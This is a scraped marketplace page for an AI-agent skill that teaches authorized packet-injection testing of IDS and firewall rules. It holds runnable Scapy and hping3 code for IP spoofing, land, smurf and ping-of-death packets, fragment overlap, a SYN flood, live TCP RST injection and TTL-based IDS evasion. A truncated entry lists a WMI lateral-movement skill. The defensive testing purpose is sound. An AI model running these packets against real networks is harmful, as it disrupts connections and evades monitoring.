[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FNHAKM5JAYTATHVCQYNXC":3,"skill-same:01M71FNHAKM5JAYTATHVCQYNXC":94},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":14,"repositoryHtmlUrl":70,"repositoryHomepageUrl":6,"ownerHtmlUrl":71,"ownerBlogUrl":6,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M71FNHAKM5JAYTATHVCQYNXC","injection-packet-detect",null,"Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Finjection\u002Fpacket\u002Fdetect\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"injection","detect","injection packet detect","scapy","malformed","network","read","de","stack","resilience","Bash","protocol-testing","hping3","packet-injection","cybersecurity","traffic","testing","cm","ids","firewall","2026-11-10 10:12:30",false,"---\nname: injection-packet-detect\ndescription: Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- packet-injection\n- scapy\n- hping3\n- protocol-testing\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1059\n- T1562.001\n- T1562.004\ncapec: []\n---\n\n# Performing Packet Injection Attack\n\n## When to Use\n\n- Testing IDS\u002FIPS rules by injecting traffic that should trigger specific detection signatures\n- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads\n- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations\n- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)\n- Performing TCP reset injection to test connection resilience and session hijacking scenarios\n\n**Do not use** for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved packet injection techniques\n- Scapy, hping3, and Nemesis installed on the testing platform\n- Root\u002Fsudo privileges for raw socket access and packet crafting\n- Wireshark or tcpdump on the target side to verify packet delivery\n- Understanding of TCP\u002FIP protocol internals, header fields, and flag combinations\n\n## Workflow\n\n### Step 1: Craft and Send Basic Test Packets with Scapy\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Basic packet injection examples using Scapy for authorized testing.\"\"\"\n\nfrom scapy.all import *\n\n# TCP SYN packet (port scan simulation)\nsyn = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\", seq=1000)\nresponse = sr1(syn, timeout=2, verbose=0)\nif response and response.haslayer(TCP):\n    if response[TCP].flags == \"SA\":\n        print(f\"[*] Port 80 is OPEN (SYN-ACK received)\")\n    elif response[TCP].flags == \"RA\":\n        print(f\"[*] Port 80 is CLOSED (RST-ACK received)\")\n\n# TCP XMAS scan packet (all flags set)\nxmas = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"FPU\")\nsend(xmas, verbose=0)\nprint(\"[*] XMAS packet sent (should trigger IDS)\")\n\n# NULL scan packet (no flags)\nnull = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"\")\nsend(null, verbose=0)\nprint(\"[*] NULL packet sent\")\n\n# Crafted ICMP packet with custom payload\nicmp_custom = IP(dst=\"10.10.20.10\") \u002F ICMP(type=8) \u002F Raw(load=\"SECURITY_TEST_PAYLOAD\")\nsend(icmp_custom, verbose=0)\nprint(\"[*] Custom ICMP packet sent\")\n\n# UDP packet to test firewall rules\nudp_test = IP(dst=\"10.10.20.10\") \u002F UDP(dport=53) \u002F DNS(rd=1, qd=DNSQR(qname=\"test.example.com\"))\nresponse = sr1(udp_test, timeout=2, verbose=0)\nif response:\n    print(f\"[*] DNS response received from {response[IP].src}\")\n```\n\n### Step 2: IP Spoofing and Anti-Spoofing Validation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Test anti-spoofing controls with spoofed source IP packets.\"\"\"\n\nfrom scapy.all import *\n\n# Spoofed source IP (should be blocked by BCP38\u002FuRPF)\nspoofed_syn = IP(src=\"192.0.2.100\", dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\")\nsend(spoofed_syn, verbose=0)\nprint(\"[*] Sent SYN with spoofed source 192.0.2.100\")\n\n# Land attack test (source = destination)\nland = IP(src=\"10.10.20.10\", dst=\"10.10.20.10\") \u002F TCP(sport=80, dport=80, flags=\"S\")\nsend(land, verbose=0)\nprint(\"[*] Land attack packet sent (src==dst)\")\n\n# Smurf attack test (ICMP to broadcast with spoofed source)\nsmurf = IP(src=\"10.10.20.10\", dst=\"10.10.20.255\") \u002F ICMP(type=8)\nsend(smurf, verbose=0)\nprint(\"[*] Smurf test packet sent (ICMP to broadcast)\")\n\n# IP fragment overlap test\nfrag1 = IP(dst=\"10.10.20.10\", flags=\"MF\", frag=0) \u002F TCP(dport=80, flags=\"S\") \u002F Raw(load=\"A\"*24)\nfrag2 = IP(dst=\"10.10.20.10\", frag=2) \u002F Raw(load=\"B\"*24)  # Overlapping fragment\nsend(frag1, verbose=0)\nsend(frag2, verbose=0)\nprint(\"[*] Overlapping IP fragments sent\")\n```\n\n### Step 3: TCP Session Manipulation\n\n```bash\n# TCP RST injection to test connection resilience\n# Using hping3 to send RST packets\nsudo hping3 -S -p 80 --rst -c 5 10.10.20.10\n\n# SYN flood test (limited volume for testing, not DoS)\nsudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10\n# Note: --flood sends at maximum rate; -c 100 limits to 100 packets\n\n# Test TCP window manipulation\nsudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window\nsudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window\n\n# Idle scan probe (to test if a host can be used as zombie)\nsudo hping3 -SA -p 80 -c 3 10.10.20.10\n# Check IP ID values in response for predictability\n```\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"TCP RST injection to test session resilience.\"\"\"\n\nfrom scapy.all import *\n\n# Sniff for an active TCP connection and inject RST\ndef rst_inject(pkt):\n    if pkt.haslayer(TCP) and pkt[TCP].flags == \"A\":\n        rst = IP(\n            src=pkt[IP].dst,\n            dst=pkt[IP].src\n        ) \u002F TCP(\n            sport=pkt[TCP].dport,\n            dport=pkt[TCP].sport,\n            seq=pkt[TCP].ack,\n            flags=\"R\"\n        )\n        send(rst, verbose=0)\n        print(f\"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}\")\n\n# Sniff for 10 packets and attempt RST injection\nprint(\"[*] Listening for TCP ACK packets to inject RST...\")\nsniff(filter=\"tcp and host 10.10.20.10\", prn=rst_inject, count=10, iface=\"eth0\")\n```\n\n### Step 4: Protocol Anomaly Testing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Protocol anomaly packets for IDS\u002Ffirewall testing.\"\"\"\n\nfrom scapy.all import *\n\ntarget = \"10.10.20.10\"\n\n# Ping of Death (oversized ICMP - should be blocked)\npod = IP(dst=target) \u002F ICMP() \u002F Raw(load=\"X\" * 65500)\nsend(fragment(pod), verbose=0)\nprint(\"[*] Ping of Death fragments sent\")\n\n# Tiny fragment attack (TCP header split across fragments)\ntiny_frag = IP(dst=target, flags=\"MF\", frag=0) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[:8])\ntiny_frag2 = IP(dst=target, frag=1) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[8:])\nsend(tiny_frag, verbose=0)\nsend(tiny_frag2, verbose=0)\nprint(\"[*] Tiny fragment attack packets sent\")\n\n# Invalid TCP flag combinations\ninvalid_flags = [\n    (\"SYN+FIN\", \"SF\"),\n    (\"SYN+RST\", \"SR\"),\n    (\"FIN only (no session)\", \"F\"),\n    (\"All flags\", \"FSRPAUEC\"),\n]\n\nfor name, flags in invalid_flags:\n    pkt = IP(dst=target) \u002F TCP(dport=80, flags=flags)\n    send(pkt, verbose=0)\n    print(f\"[*] Sent packet with invalid flags: {name}\")\n\n# TTL-based evasion (packets that expire before reaching IDS)\n# Assumes IDS is 2 hops away, target is 5 hops\nttl_evade = IP(dst=target, ttl=3) \u002F TCP(dport=80, flags=\"S\")\nsend(ttl_evade, verbose=0)\nprint(\"[*] Low-TTL evasion packet sent (TTL=3)\")\n\n# IP options padding\nip_opts = IP(dst=target, options=[IPOption_RR()]) \u002F TCP(dport=80, flags=\"S\")\nsend(ip_opts, verbose=0)\nprint(\"[*] Packet with IP Record Route option sent\")\n```\n\n### Step 5: Verify IDS Detection\n\n```bash\n# Check Snort\u002FSuricata for alerts triggered by injected packets\ngrep -i \"xmas\\|null\\|land\\|smurf\\|ping.of.death\\|fragment\" \u002Fvar\u002Flog\u002Fsuricata\u002Feve.json | \\\n  python3 -m json.tool | head -50\n\n# Expected IDS alerts:\n# - XMAS scan detected (SID: 2100330)\n# - NULL scan detected (SID: 2100331)\n# - Land attack detected\n# - Smurf attack detected\n# - Fragmentation anomaly\n# - Invalid TCP flags\n\n# Verify firewall dropped spoofed packets\nsudo iptables -L -n -v | grep -i drop\n\n# Check for fragmentation reassembly errors\ndmesg | grep -i \"fragment\\|frag\"\n```\n\n### Step 6: Document Results\n\n```bash\n# Generate test results summary\ncat > packet_injection_report.txt \u003C\u003C 'EOF'\nPacket Injection Test Results\n=============================\nDate: $(date)\nTarget: 10.10.20.10\nTester: Security Assessment Team\n\nTest 1: TCP XMAS Scan\n  IDS Detection: YES (Suricata SID 2100330)\n  Firewall Action: Dropped\n\nTest 2: IP Spoofing (192.0.2.100)\n  uRPF Block: YES (packet dropped at edge router)\n  IDS Detection: YES (source not in HOME_NET)\n\nTest 3: Fragmentation Overlap\n  IDS Detection: YES (stream reassembly anomaly)\n  Target Response: Fragments dropped by OS\n\nTest 4: Invalid TCP Flags\n  IDS Detection: YES (SYN+FIN, SYN+RST flagged)\n  Firewall Action: Dropped\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Packet Injection** | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |\n| **IP Spoofing** | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |\n| **TCP RST Injection** | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |\n| **Fragmentation Attack** | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |\n| **uRPF (Unicast Reverse Path Forwarding)** | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |\n| **BCP38 (Network Ingress Filtering)** | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |\n\n## Tools & Systems\n\n- **Scapy**: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers\n- **hping3**: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate\n- **Nemesis**: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols\n- **tcpreplay**: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns\n- **Nping**: Nmap's packet generation tool for crafting probes with arbitrary TCP\u002FUDP\u002FICMP headers\n\n## Common Scenarios\n\n### Scenario: Validating IDS Rules After Deployment\n\n**Context**: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.\n\n**Approach**:\n1. Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules\n2. Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules\n3. Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules\n4. Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly\n5. Send TCP RST injection packets during an active HTTP session to test session disruption detection\n6. Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata\n7. Document which rules fired, which did not, and recommend rule tuning for any gaps\n\n**Pitfalls**:\n- Sending injection packets too fast and overwhelming the test network or IDS sensor\n- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS\n- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection\n- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences\n\n## Output Format\n\n```\n## Packet Injection Test Report\n\n**Target**: 10.10.20.10 (test-server-01)\n**IDS Sensor**: suricata-staging-01\n**Test Date**: 2024-03-15\n\n### Test Matrix\n\n| Test | Packet Type | Expected Detection | Actual Result |\n|------|-------------|-------------------|---------------|\n| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |\n| 2 | TCP NULL Scan | SID 2100331 | DETECTED |\n| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |\n| 4 | IP Spoofed Source | SID 2003000 | DETECTED |\n| 5 | Land Attack | SID 2100333 | NOT DETECTED |\n| 6 | Fragment Overlap | SID 2200001 | DETECTED |\n| 7 | Ping of Death | SID 2100334 | DETECTED |\n| 8 | TCP RST Injection | Custom SID | NOT DETECTED |\n\n### Detection Rate: 6\u002F8 (75%)\n\n### Gaps Identified\n1. Land attack (src==dst) not detected -- add rule SID 2100333\n2. TCP RST injection not detected -- create custom rule for out-of-window RST\n```\n","# Performing Packet Injection Attack\n\n## When to Use\n\n- Testing IDS\u002FIPS rules by injecting traffic that should trigger specific detection signatures\n- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads\n- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations\n- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)\n- Performing TCP reset injection to test connection resilience and session hijacking scenarios\n\n**Do not use** for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved packet injection techniques\n- Scapy, hping3, and Nemesis installed on the testing platform\n- Root\u002Fsudo privileges for raw socket access and packet crafting\n- Wireshark or tcpdump on the target side to verify packet delivery\n- Understanding of TCP\u002FIP protocol internals, header fields, and flag combinations\n\n## Workflow\n\n### Step 1: Craft and Send Basic Test Packets with Scapy\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Basic packet injection examples using Scapy for authorized testing.\"\"\"\n\nfrom scapy.all import *\n\n# TCP SYN packet (port scan simulation)\nsyn = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\", seq=1000)\nresponse = sr1(syn, timeout=2, verbose=0)\nif response and response.haslayer(TCP):\n    if response[TCP].flags == \"SA\":\n        print(f\"[*] Port 80 is OPEN (SYN-ACK received)\")\n    elif response[TCP].flags == \"RA\":\n        print(f\"[*] Port 80 is CLOSED (RST-ACK received)\")\n\n# TCP XMAS scan packet (all flags set)\nxmas = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"FPU\")\nsend(xmas, verbose=0)\nprint(\"[*] XMAS packet sent (should trigger IDS)\")\n\n# NULL scan packet (no flags)\nnull = IP(dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"\")\nsend(null, verbose=0)\nprint(\"[*] NULL packet sent\")\n\n# Crafted ICMP packet with custom payload\nicmp_custom = IP(dst=\"10.10.20.10\") \u002F ICMP(type=8) \u002F Raw(load=\"SECURITY_TEST_PAYLOAD\")\nsend(icmp_custom, verbose=0)\nprint(\"[*] Custom ICMP packet sent\")\n\n# UDP packet to test firewall rules\nudp_test = IP(dst=\"10.10.20.10\") \u002F UDP(dport=53) \u002F DNS(rd=1, qd=DNSQR(qname=\"test.example.com\"))\nresponse = sr1(udp_test, timeout=2, verbose=0)\nif response:\n    print(f\"[*] DNS response received from {response[IP].src}\")\n```\n\n### Step 2: IP Spoofing and Anti-Spoofing Validation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Test anti-spoofing controls with spoofed source IP packets.\"\"\"\n\nfrom scapy.all import *\n\n# Spoofed source IP (should be blocked by BCP38\u002FuRPF)\nspoofed_syn = IP(src=\"192.0.2.100\", dst=\"10.10.20.10\") \u002F TCP(dport=80, flags=\"S\")\nsend(spoofed_syn, verbose=0)\nprint(\"[*] Sent SYN with spoofed source 192.0.2.100\")\n\n# Land attack test (source = destination)\nland = IP(src=\"10.10.20.10\", dst=\"10.10.20.10\") \u002F TCP(sport=80, dport=80, flags=\"S\")\nsend(land, verbose=0)\nprint(\"[*] Land attack packet sent (src==dst)\")\n\n# Smurf attack test (ICMP to broadcast with spoofed source)\nsmurf = IP(src=\"10.10.20.10\", dst=\"10.10.20.255\") \u002F ICMP(type=8)\nsend(smurf, verbose=0)\nprint(\"[*] Smurf test packet sent (ICMP to broadcast)\")\n\n# IP fragment overlap test\nfrag1 = IP(dst=\"10.10.20.10\", flags=\"MF\", frag=0) \u002F TCP(dport=80, flags=\"S\") \u002F Raw(load=\"A\"*24)\nfrag2 = IP(dst=\"10.10.20.10\", frag=2) \u002F Raw(load=\"B\"*24)  # Overlapping fragment\nsend(frag1, verbose=0)\nsend(frag2, verbose=0)\nprint(\"[*] Overlapping IP fragments sent\")\n```\n\n### Step 3: TCP Session Manipulation\n\n```bash\n# TCP RST injection to test connection resilience\n# Using hping3 to send RST packets\nsudo hping3 -S -p 80 --rst -c 5 10.10.20.10\n\n# SYN flood test (limited volume for testing, not DoS)\nsudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10\n# Note: --flood sends at maximum rate; -c 100 limits to 100 packets\n\n# Test TCP window manipulation\nsudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window\nsudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window\n\n# Idle scan probe (to test if a host can be used as zombie)\nsudo hping3 -SA -p 80 -c 3 10.10.20.10\n# Check IP ID values in response for predictability\n```\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"TCP RST injection to test session resilience.\"\"\"\n\nfrom scapy.all import *\n\n# Sniff for an active TCP connection and inject RST\ndef rst_inject(pkt):\n    if pkt.haslayer(TCP) and pkt[TCP].flags == \"A\":\n        rst = IP(\n            src=pkt[IP].dst,\n            dst=pkt[IP].src\n        ) \u002F TCP(\n            sport=pkt[TCP].dport,\n            dport=pkt[TCP].sport,\n            seq=pkt[TCP].ack,\n            flags=\"R\"\n        )\n        send(rst, verbose=0)\n        print(f\"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}\")\n\n# Sniff for 10 packets and attempt RST injection\nprint(\"[*] Listening for TCP ACK packets to inject RST...\")\nsniff(filter=\"tcp and host 10.10.20.10\", prn=rst_inject, count=10, iface=\"eth0\")\n```\n\n### Step 4: Protocol Anomaly Testing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Protocol anomaly packets for IDS\u002Ffirewall testing.\"\"\"\n\nfrom scapy.all import *\n\ntarget = \"10.10.20.10\"\n\n# Ping of Death (oversized ICMP - should be blocked)\npod = IP(dst=target) \u002F ICMP() \u002F Raw(load=\"X\" * 65500)\nsend(fragment(pod), verbose=0)\nprint(\"[*] Ping of Death fragments sent\")\n\n# Tiny fragment attack (TCP header split across fragments)\ntiny_frag = IP(dst=target, flags=\"MF\", frag=0) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[:8])\ntiny_frag2 = IP(dst=target, frag=1) \u002F Raw(load=bytes(TCP(dport=80, flags=\"S\"))[8:])\nsend(tiny_frag, verbose=0)\nsend(tiny_frag2, verbose=0)\nprint(\"[*] Tiny fragment attack packets sent\")\n\n# Invalid TCP flag combinations\ninvalid_flags = [\n    (\"SYN+FIN\", \"SF\"),\n    (\"SYN+RST\", \"SR\"),\n    (\"FIN only (no session)\", \"F\"),\n    (\"All flags\", \"FSRPAUEC\"),\n]\n\nfor name, flags in invalid_flags:\n    pkt = IP(dst=target) \u002F TCP(dport=80, flags=flags)\n    send(pkt, verbose=0)\n    print(f\"[*] Sent packet with invalid flags: {name}\")\n\n# TTL-based evasion (packets that expire before reaching IDS)\n# Assumes IDS is 2 hops away, target is 5 hops\nttl_evade = IP(dst=target, ttl=3) \u002F TCP(dport=80, flags=\"S\")\nsend(ttl_evade, verbose=0)\nprint(\"[*] Low-TTL evasion packet sent (TTL=3)\")\n\n# IP options padding\nip_opts = IP(dst=target, options=[IPOption_RR()]) \u002F TCP(dport=80, flags=\"S\")\nsend(ip_opts, verbose=0)\nprint(\"[*] Packet with IP Record Route option sent\")\n```\n\n### Step 5: Verify IDS Detection\n\n```bash\n# Check Snort\u002FSuricata for alerts triggered by injected packets\ngrep -i \"xmas\\|null\\|land\\|smurf\\|ping.of.death\\|fragment\" \u002Fvar\u002Flog\u002Fsuricata\u002Feve.json | \\\n  python3 -m json.tool | head -50\n\n# Expected IDS alerts:\n# - XMAS scan detected (SID: 2100330)\n# - NULL scan detected (SID: 2100331)\n# - Land attack detected\n# - Smurf attack detected\n# - Fragmentation anomaly\n# - Invalid TCP flags\n\n# Verify firewall dropped spoofed packets\nsudo iptables -L -n -v | grep -i drop\n\n# Check for fragmentation reassembly errors\ndmesg | grep -i \"fragment\\|frag\"\n```\n\n### Step 6: Document Results\n\n```bash\n# Generate test results summary\ncat > packet_injection_report.txt \u003C\u003C 'EOF'\nPacket Injection Test Results\n=============================\nDate: $(date)\nTarget: 10.10.20.10\nTester: Security Assessment Team\n\nTest 1: TCP XMAS Scan\n  IDS Detection: YES (Suricata SID 2100330)\n  Firewall Action: Dropped\n\nTest 2: IP Spoofing (192.0.2.100)\n  uRPF Block: YES (packet dropped at edge router)\n  IDS Detection: YES (source not in HOME_NET)\n\nTest 3: Fragmentation Overlap\n  IDS Detection: YES (stream reassembly anomaly)\n  Target Response: Fragments dropped by OS\n\nTest 4: Invalid TCP Flags\n  IDS Detection: YES (SYN+FIN, SYN+RST flagged)\n  Firewall Action: Dropped\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Packet Injection** | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |\n| **IP Spoofing** | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |\n| **TCP RST Injection** | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |\n| **Fragmentation Attack** | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |\n| **uRPF (Unicast Reverse Path Forwarding)** | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |\n| **BCP38 (Network Ingress Filtering)** | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |\n\n## Tools & Systems\n\n- **Scapy**: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers\n- **hping3**: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate\n- **Nemesis**: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols\n- **tcpreplay**: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns\n- **Nping**: Nmap's packet generation tool for crafting probes with arbitrary TCP\u002FUDP\u002FICMP headers\n\n## Common Scenarios\n\n### Scenario: Validating IDS Rules After Deployment\n\n**Context**: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.\n\n**Approach**:\n1. Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules\n2. Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules\n3. Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules\n4. Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly\n5. Send TCP RST injection packets during an active HTTP session to test session disruption detection\n6. Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata\n7. Document which rules fired, which did not, and recommend rule tuning for any gaps\n\n**Pitfalls**:\n- Sending injection packets too fast and overwhelming the test network or IDS sensor\n- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS\n- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection\n- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences\n\n## Output Format\n\n```\n## Packet Injection Test Report\n\n**Target**: 10.10.20.10 (test-server-01)\n**IDS Sensor**: suricata-staging-01\n**Test Date**: 2024-03-15\n\n### Test Matrix\n\n| Test | Packet Type | Expected Detection | Actual Result |\n|------|-------------|-------------------|---------------|\n| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |\n| 2 | TCP NULL Scan | SID 2100331 | DETECTED |\n| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |\n| 4 | IP Spoofed Source | SID 2003000 | DETECTED |\n| 5 | Land Attack | SID 2100333 | NOT DETECTED |\n| 6 | Fragment Overlap | SID 2200001 | DETECTED |\n| 7 | Ping of Death | SID 2100334 | DETECTED |\n| 8 | TCP RST Injection | Custom SID | NOT DETECTED |\n\n### Detection Rate: 6\u002F8 (75%)\n\n### Gaps Identified\n1. Land attack (src==dst) not detected -- add rule SID 2100333\n2. TCP RST injection not detected -- create custom rule for out-of-window RST\n```\n",{"name":5,"tags":49,"capec":51,"model":52,"tools":53,"domain":38,"maxTurns":57,"nist_csf":58,"subdomain":50,"description":7,"mitre_attack":63},[50,37,27,36,35],"network-security",[],"sonnet",[54,34,55,56],"Read","Glob","Grep",20,[59,60,61,62],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02",[64,65,66],"T1059","T1562.001","T1562.004","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fnetwork\u002Finjection\u002Fpacket\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill injection-packet-detect",{"tool":80,"command":81},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill injection-packet-detect",{"tool":83,"command":84},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill injection-packet-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Finjection\u002Fpacket\u002Fdetect\u002FSKILL.md",true,[88],{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"index.json","REFERENCE","参考文档",684,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Finjection\u002Fpacket\u002Fdetect\u002Findex.json",[95,117,137,158,180,195],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[102,25,103,104,105,31,41,106,107,108,109,110,111,112,113,114,115,38,116],"services","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team 